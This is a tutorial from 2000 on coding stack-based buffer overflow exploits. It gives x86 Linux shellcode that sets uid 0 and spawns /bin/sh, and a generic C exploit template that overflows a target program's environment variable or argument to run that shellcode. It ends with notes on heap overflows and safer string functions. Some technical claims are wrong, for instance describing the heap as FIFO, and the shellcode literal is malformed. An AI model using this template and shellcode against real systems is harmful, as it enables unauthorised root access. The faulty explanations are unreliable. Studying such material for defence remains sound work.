=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

=- -=

=- Topic : how to code stack based exploits -=

=- Date : March 2000 -=

=- Author: dethy @ synnergy.net -=

=- -=

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

 

Let me begin by mentioning that Aleph1's documentation on exploits and

low level architecture can be read in 'Smashing the Stack for fun and profit',

found in Phrack Issue 49 vol. 7. By far that is the most definitive exploration

of such a topic, and should be studied if you wish to venture into 'hacking'

or more generally how processes are carried out on the stack.

 

Also worth mentioning is Mudge's 'How to write Buffer Overflows', which focuses

more on the actual shellcode/asm explanation, but nevertheless is definitely

worthwhile.

 

This is to be used moreso as a reference guide and a reminder

rather than a deep instrinic view of exploit code and the operations

and implications thereof. Do not quote me from this text. ;)

 

--------------------------------------------------------------------------

 

Overview

________

 

Buffer overflows are the result of stuffing more data into a buffer

than it can handle. Upon writing past the buffer, the program will

often lead to unknown results, even the potential to execute arbitary

code, if a certain memory pointer is overwritten.

 

Varying the flow of execution on the stack requires knowledge in the

operating system and it's architecture based in assembly. Careful tracing

of the programs flow can be accomplished by a number of debugging tools

such as gdb.

 

The key to writing an exploit is to understand what you are actually have to

modify to get the program to execute your instructions. This involves working

closely with the stack, and architecture of the system (ie knowing correct asm)

in order for the exploitation process to take place.

 

However, in recent times, knowing ASM is not specifically criteria to write exploits.

Recent development of programs such as hellkit (made by TESO crew, teso.scene.at),

allow shellcode generation to be constructed with little to no asm experience at all.

Although it is extremely helpful to know C, in order for the translation process to

take place. This is definitely a 'must-use' program if you want to write advanced

shellcode to include in your exploits. Of course, you could use gdb and have fun with

x/bx, though that is a little -too- time consuming.

 

Of course you could use the standard euid(0); shellcode, but extending this is

a bonus and should be added to existing shellcode to save manual commands from

being used, so that the processor executes them during the time of exploitation

- time saving feature is just one added advantage of increasing the depth of

the hex code.

 

Commonly we see the following shellcode in the basic exploits which simply

spawns a /bin/sh shell:

 

"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" .

"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" .

"\x80\xe8\xdc\xff\xff\xff/bin/sh";

 

This is taken from mudge's article on buffer overflows, and is the most basic

form of shellcode to gain increase priviledges. Of course having an euid(0);

is fine, although we then would need to gain setuid(0) and setgid(0) for further

priviledges, at some stage during exploitation. But why not just include those

simple functions in the shellcode instead?

 

Example:

 

"\x31\xc0\x31\xdb\xb0\x17\xcd\x80" <- setuid(0);

"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"

"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"

"\x80\xe8\xdc\xff\xff\xff/bin/sh";

 

Naturally more extensive shellcode could be added, such as bind() techniques

and chroot() code where necessary, although this is the most that is required

for our task at hand.

 

Now let's take a generic example of an exploit that will use the shellcode above,

and could be used for actual vulnerable programs (changing the variable offsets

where required).

 

NB: requires C knowledge.

 

#include <stdio.h>

#include <stdlib.h>

#include <fcntl.h>

 

#define OFFSET XXX /* varies, use 0 as default */

#define nop 0x90 /* x86 is 0x90, for other architectures use

void main(){ __asm__("nop\n"); }

then compile and run gdb and dissassemble and take

careful not of the corresponding 'nop' instruction.

nop = no operation, a harmless opcode so we

won't end up damaging the final result of the

program or system after exploitation has taken place.

we load up our buffer with this later on.

 

*/

#define BSIZE XXX /* size of our buffer */

 

/* the shellcode is hex for:

#include <stdio.h>

main() {

char *name[2];

name[0] = "sh";

name[1] = NULL;

execve("/bin/sh",name,NULL);

}

*/

char shellcode[] =

"\x31\xc0\x31\xdb\xb0\x17\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0

\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c

\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";

 

/* grab the stack pointer (esp) to use as the index into our nops.

we can use this function to find it on the go, or we could actually

define the stack pointer memory address, ie: 0xabcdef12. */

u_long get_sp(void) { __asm__("movl %esp,%eax"); }

 

/* basic variable assignments */

 

void main(int argc, char **argv) {

char *buffer, *ptr;

long *address_ptr, *address;

int i, offset = OFFSET, bsize = BSIZE;

 

/* create space for our buffer */

 

buffer = malloc(bsize);

 

/* this is our return address, [("movl %esp,%eax") - offset] = esp, where offset is 0

in this example. Local variables are referenced by subtracting their offsets from sp. */

 

 

(char *)address = get_sp() - offset;

fprintf(stderr, "return address %#x\n" ,address);

 

ptr = buffer;

address_ptr = (long *)ptr;

 

/* fill buffer with the new address to jump to, which is defined

by our esp - offset. */

 

for(i=0; i < bsize; i += 4) (int *)*(address_ptr++) = address;

 

/* now we fill our buffer with nop's, remembering to leave space for

the remaining shellcode to be added. */

 

for(i=0; i < bsize / 2; i++) buffer[i] = nop;

 

/* filling up the end of the buffer with our shellcode which will be executed

on the stack after the bof */

 

ptr = buffer + ((bsize / 2) - (strlen(shellcode) / 2));

for(i=0;i < strlen(shellcode); i++) *(ptr++) = shellcode[i];

 

/* don't forget to end with the dreaded null byte or the processor won't determine

the end of our code. */

 

buffer[bsize - 1] = '\0';

 

/* in this case our bof is a user specified environment variable of fixed length,

so we set our buffer "$BLAH" and that should overflow the programs buffer */

 

/* NB: if we aren't overflowing an environment variable then we could then skip

the following 2 lines and instead, use:

execl ("/usr/bin/whatever", "whatever", "-option", buffer, 0);

- that is to overflow a program's command line argument

- depending on the program, you'd use one or the other, NOT both.

 

*/

 

setenv("BLAH", buffer, 1);

 

/* this is the program that uses the above variable for it's environment, in effect

it's the program we are going to exploit. */

 

execl("/usr/bin/whatever", "whatever", "-option", 0);

}

 

 

Now substituting the BSIZE, OFFSET and program to test, this could become a workable

exploit, providing we know the correct values for these variables. As a rule of thumb

download the source of the program to demonstrate our exploit on, and check it's fixed

buffer length, and then for our BSIZE value, try incrementing it +100 bytes, as to leave

space for injected shellcode.

 

The above exploit(s) are examples of stack based overflows. Actually, two overflows exist

although, little is known about the second type - heap based overflows.

 

Heap vs Stack based overflows

_____________________________

 

Dynamically allocated variables (those allocated by malloc(); ) are created on the

heap. Unlike the stack, the heap grows upwards on most systems; that is, new variables created

on the heap are located at higher memory addresses than older ones. In a simple heap-based buffer

overflow attack, an attacker overflows a buffer that is lower on the heap, overwriting other dynamic

variables, which can have unexpected and (from the programmer's or administrator's view) unwanted

effects. This type of stack is more consistant with the FIFO queue, that is, First In First

OUT representing how objects are added and taken off the stack as it builds.

 

Alternatively, the stack starts at a high memory address and forces its way down to a low memory

address. The actual placement of replacement on the stack are established by the commands

PUSH AND POP, respectively. A value that is PUSH'ed on to the stack is copied into the memory

location (exact reference) and is pointed to as execution occurs by the stack pointer (sp).

The sp will then be decremented as the stack sequentially moves down, making room for the

next local variables to be added (subl $20,%esp). POP is the reverse of such an event.

This is dealing with the LIFO queues, Last In First Out, referring to how the operations

are ordered on the stack.

 

Stack based are relatively simple in terms of concept, these include functions such as:

strcat(), sprint(), strcpy(), gets(), etc. - anywhere where unchecked variables are placed

into a buffer of fixed length. ALL can be avoided by careful use of the 'n' - refering to the byte

size, ie, snprintf(blah, this, sizeof(this)) <-- showing that the 'n' creates the size we want

to copy to the buffer, in this instance it's the complete buffer size, so we don't go over

and create the unwanted overflow, and unlitimately execute unwanted arbitrary data.

 

 

Conclusion

__________

 

From a programmer's point of view, make sure you use secure functions when using the stack, and

naturally expect the unexpected to happen - making sure you provide methods to deal with the

potential bug in user defined input. In a more general perspective, knowing how to code exploits

provides a welcomed understanding of how the internals of programs operate, and passed through

the specific registers on the stack. If you want a challenge - learn ASM, everything else shall

seem like a breeze.